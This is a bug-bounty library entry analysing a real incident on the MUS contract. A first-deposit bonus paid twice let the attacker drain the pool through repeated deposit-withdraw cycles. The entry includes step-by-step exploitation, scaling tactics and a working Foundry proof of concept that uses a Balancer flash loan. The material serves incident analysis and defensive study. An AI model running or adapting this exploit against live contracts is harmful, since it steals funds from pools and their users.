# MUS: double-counted first-deposit bonus drains pool via deposit-withdraw

MUS deposit() paid a first-deposit bonus both as an ETH refund and as withdrawable allocation, so a fresh deposit-withdraw cycle returned more ETH than deposited, draining the pool.

- Payout: Real-world hack
- Severity: high
- Program: MUS
- Analysis by: DeFiHackLabs
- Disclosed: 2026-09-30
- Write-up quality: 7/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2026-09/MUS_exp.sol
- Library page: https://bugbountylibrary.com/r/dhl%3A20260930-mus
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:high tech:evm tech:solidity technique:reverse-engineering technique:source-review vuln:business-logic vuln:flash-loan vuln:reward-distribution

**Target:** MUS staking/pool contract deposit() and withdraw() on Ethereum
**Root cause:** deposit() and withdraw() lack any caller gate; for a fresh depositor the first-deposit bonus is both refunded as ETH inside deposit() and credited as MUS allocation redeemable for ETH in withdraw(), with no cap tying total payout (R+W) to the deposited amount D.
**Steps:**
1. Flash-borrow D = 53.355703172210117028 ETH (WETH) from Balancer V2 (0 fee), unwrap to ETH.
2. From a fresh address call `MUS.deposit{value: D}()`; contract immediately refunds bonus R = 32.253522567601017211 ETH to caller and mints MUS allocation.
3. Read minted allocation via `MUS.balanceOf(address(this))`.
4. Call `MUS.withdraw(0, minted, true)` to redeem allocation for W = 21.502348378400678141 ETH.
5. Net per cycle = R + W - D = 0.400167773791578324 ETH; repeat from many fresh sub-addresses (attacker used 16 per tx).
6. Rewrap D ETH to WETH and repay Balancer flash loan.
**How found:** Reversed the unverified MUS bytecode and read the call trace: noticed deposit() and withdraw() had no owner/caller gate, and that the first-deposit bonus was applied twice (ETH refund plus allocation), with no cap on R+W vs D. Confirmed by replaying one cycle at the exact pre-tx fork state.
**Exploitation:** Attacker flash-borrowed working capital, then for each of many fresh sub-addresses ran a single deposit-then-withdraw cycle: deposit() refunded the bonus as ETH and also credited a redeemable allocation, withdraw() paid that allocation uncapped. Each cycle netted ~0.400168 ETH over the deposit; 16 cycles per tx across many addresses drained the MUS pool's 5.335 ETH standing balance to 0 in the attack block, with the remainder funded by same-block legit deposits. Reported campaign total ~$36.9k.
**Escalation:** Scaled by cycling 16 fresh sub-addresses per transaction and repeating across many txs/addresses; profitability depended on the pack round being funded by earlier same-block deposits, so the attacker batched deposits to prime the payout.
**Insight:** When a contract pays a 'first deposit' bonus, check whether the same bonus is both refunded in cash and credited as a redeemable balance — and whether any invariant caps total payout at the deposit; unverified bytecode can be reversed to find missing caller gates and double-counted credits.

## Proof of concept (copied exactly from the original report)

**Foundry PoC deposit-withdraw cycle via flash loan**

```
function testExploit() public balanceLog {
        // Flash-borrow the working capital (WETH) from Balancer (0 fee); the cycle runs inside the callback.
        address[] memory tokens = new address[](1);
        tokens[0] = address(WETH);
        uint256[] memory amounts = new uint256[](1);
        amounts[0] = DEPOSIT;
        VAULT.flashLoan(address(this), tokens, amounts, "");

        emit log_named_decimal_uint("net ETH extracted (one cycle)", address(this).balance, 18);
    }

    function receiveFlashLoan(
        address[] calldata,
        uint256[] calldata amounts,
        uint256[] calldata,
        bytes calldata
    ) external {
        require(msg.sender == address(VAULT), "only vault");
        WETH.withdraw(amounts[0]); // unwrap to ETH

        // --- one exploit cycle from this fresh address ---
        uint256 before = address(this).balance; // == DEPOSIT (borrowed)
        MUS.deposit{value: DEPOSIT}(); // pays the bonus refund R back to us here AND mints a MUS allocation
        uint256 minted = MUS.balanceOf(address(this)); // the double-counted allocation
        MUS.withdraw(0, minted, true); // redeems it for ETH (W), uncapped vs D
        uint256 got = address(this).balance; // == before + R + W - D  (net > before)

        // Over-extraction pulled out of the MUS pool in this single cycle.
        uint256 net = got - before;
        assertApproxEqRel(net, 0.400167773791578324e18, 0.02e18, "per-cycle over-extraction off");
        assertGt(got, before, "cycle did not net a profit");

        // Repay the flash loan (Balancer fee is 0): rewrap DEPOSIT ETH and return it to the Vault.
        WETH.deposit{value: DEPOSIT}();
        WETH.transfer(address(VAULT), amounts[0]);
    }
```

